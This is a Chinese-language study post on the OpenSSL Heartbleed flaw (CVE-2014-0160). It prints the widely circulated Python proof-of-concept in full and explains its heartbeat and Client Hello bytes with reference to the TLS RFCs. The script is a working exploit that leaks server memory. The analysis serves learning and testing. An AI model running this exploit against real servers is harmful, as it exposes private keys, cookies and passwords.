Openssl 漏洞POC学习
关于漏洞的细节以及相关危害可以参考知乎和乌云上的文章
OpenSSL 的 Heartbleed 漏洞的影响到底有多大？
关于OpenSSL“心脏出血”漏洞的分析
漏洞相关的代码就不分析了，上面的文章已经分析的很清楚了，下面主要分析一下网络上流传甚广的python POC文件。
#!/usr/bin/python
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected])
# The author disclaims copyright to this source code.
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
def h2bin(x):
return x.replace(' ', '').replace('\n', '').decode('hex')
hello = h2bin('''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
''')
hb = h2bin('''
18 03 02 00 03
01 40 00
''')
def hexdump(s):
for b in xrange(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
hxdat = ' '.join('%02X' % ord(c) for c in lin)
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
print ' %04x: %-48s %s' % (b, hxdat, pdat)
print
def recvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = ''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
r, w, e = select.select([s], [], [], 5)
if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
return rdata
def recvmsg(s):
hdr = recvall(s, 5)
if hdr is None:
print 'Unexpected EOF receiving record header - server closed connection'
return None, None, None
typ, ver, ln = struct.unpack('>BHH', hdr)
pay = recvall(s, ln, 10)
if pay is None:
print 'Unexpected EOF receiving record payload - server closed connection'
return None, None, None
print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
return typ, ver, pay
def hit_hb(s):
s.send(hb)
while True:
typ, ver, pay = recvmsg(s)
if typ is None:
print 'No heartbeat response received, server likely not vulnerable'
return False
if typ == 24:
print 'Received heartbeat response:'
hexdump(pay)
if len(pay) > 3:
print 'WARNING: server returned more data than it should - server is vulnerable!'
else:
print 'Server processed malformed heartbeat, but did not return any extra data.'
return True
if typ == 21:
print 'Received alert:'
hexdump(pay)
print 'Server returned error, likely not vulnerable'
return False
def main():
opts, args = options.parse_args()
if len(args) < 1:
options.print_help()
return
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Connecting...'
sys.stdout.flush()
s.connect((args[0], opts.port))
print 'Sending Client Hello...'
sys.stdout.flush()
s.send(hello)
print 'Waiting for Server Hello...'
sys.stdout.flush()
while True:
typ, ver, pay = recvmsg(s)
if typ == None:
print 'Server closed connection without sending Server Hello.'
return
# Look for server hello done message.
if typ == 22 and ord(pay[0]) == 0x0E:
break
print 'Sending heartbeat request...'
sys.stdout.flush()
s.send(hb)
hit_hb(s)
if __name__ == '__main__':
main()上面比较重要和难以理解的是hello和hb两个字符串的意思到底是什么。
首先看hb这个字符串的几个字节是什么意思， 通过阅读RFC6520我们可以得到heartbeat的数据结构：
The Heartbeat protocol messages consist of their type and an arbitrary payload and padding.
enum {
heartbeat_request(1),
heartbeat_response(2),
(255)
} HeartbeatMessageType;
struct {
HeartbeatMessageType type;
uint16 payload_length;
opaque payload[HeartbeatMessage.payload_length];
opaque padding[padding_length];
} HeartbeatMessage;
这个数据结构的总长度不能超过2的14次方。
type: 消息类型， heartbeat_request 或者 heartbeat_response中的一个，不是0x01就是0x02，1byte。
payload_length: payload的长度, 2个bytes。
payload：内容是任意的东西，接收端收到之后必须忽略掉里面的具体内容，如果接收端响应这个request，那么需要将里面的内容原封不动拷贝回发送端。
padding: 也是一些随即的乱起八糟的内容，必须被接收端忽略掉。
padding_length: TLSPlaintext.length - payload_length - 3 for TLS 或者 DTLSPlaintext.length - payload_length - 3 for DTLS. 至少是16bytes.
在这个RFC6520中有下面一句话，IANA has assigned the heartbeat content type (24) from the "TLS ContentType Registry" as specified in [RFC5246]
意思就是说IANA这个组织把heartbeat content type的编号定为了24
我们去RFC5246中查找TLSPlaintext结构的定义。
RFC5246附录A中开头的定义如下：
struct {
uint8 major;
uint8 minor;
} ProtocolVersion;
ProtocolVersion version = { 3, 3 }; /* TLS v1.2*/
enum {
change_cipher_spec(20), alert(21), handshake(22),
application_data(23), (255)
} ContentType;
struct {
ContentType type;
ProtocolVersion version;
uint16 length;
opaque fragment[TLSPlaintext.length];
} TLSPlaintext;
type:1个byte，这里应该是heartbeat，24, 0x18
version:2个bytes
length：2个bytes
fragment: 具体的extension的message.
上面这一系列数据结构翻译成用c语言的数据结构就是：
struct {
ContentType type; //1byte
ProtocolVersion version; //2bytes
uint16 length; //2bytes
HeartbeatMessageType type; //1bytes
uint16 payload_length; //2bytes
char payload[payload_length];
char padding[padding_length];
}HeartBeatPlainText;
这样我们就可以对应的看出来hb到底是什么意思了：
hb = h2bin('''
18 03 02 00 03
01 40 00
''')
18表示heartbeat type
03 02表示TLS的版本号，这里表示TLS v1.1
00 03表示heartbeatmessage的长度，也就是TLSplaintext的payload的长度
01表示heartbeat_request
40 00 表示payload length, 2**14
其中payload和padding都没有，这样正好就可以利用漏洞将后面内存中的数据dump出来了。
OK, 现在hb已经清楚了。
hello有225bytes, 具体的每个域的意思可以参考RFC 5246 7.4.1
https://tools.ietf.org/html/rfc5246#section-7.4.1
最好通过wireshark抓https的包来看client hello的解析。一目了然。
另外：通过在自己机器上测试发现XAMPP for Linux 1.8.3-3用的就是有漏洞的版本的openssl, 可以用这个脚本来进行测试，抓包。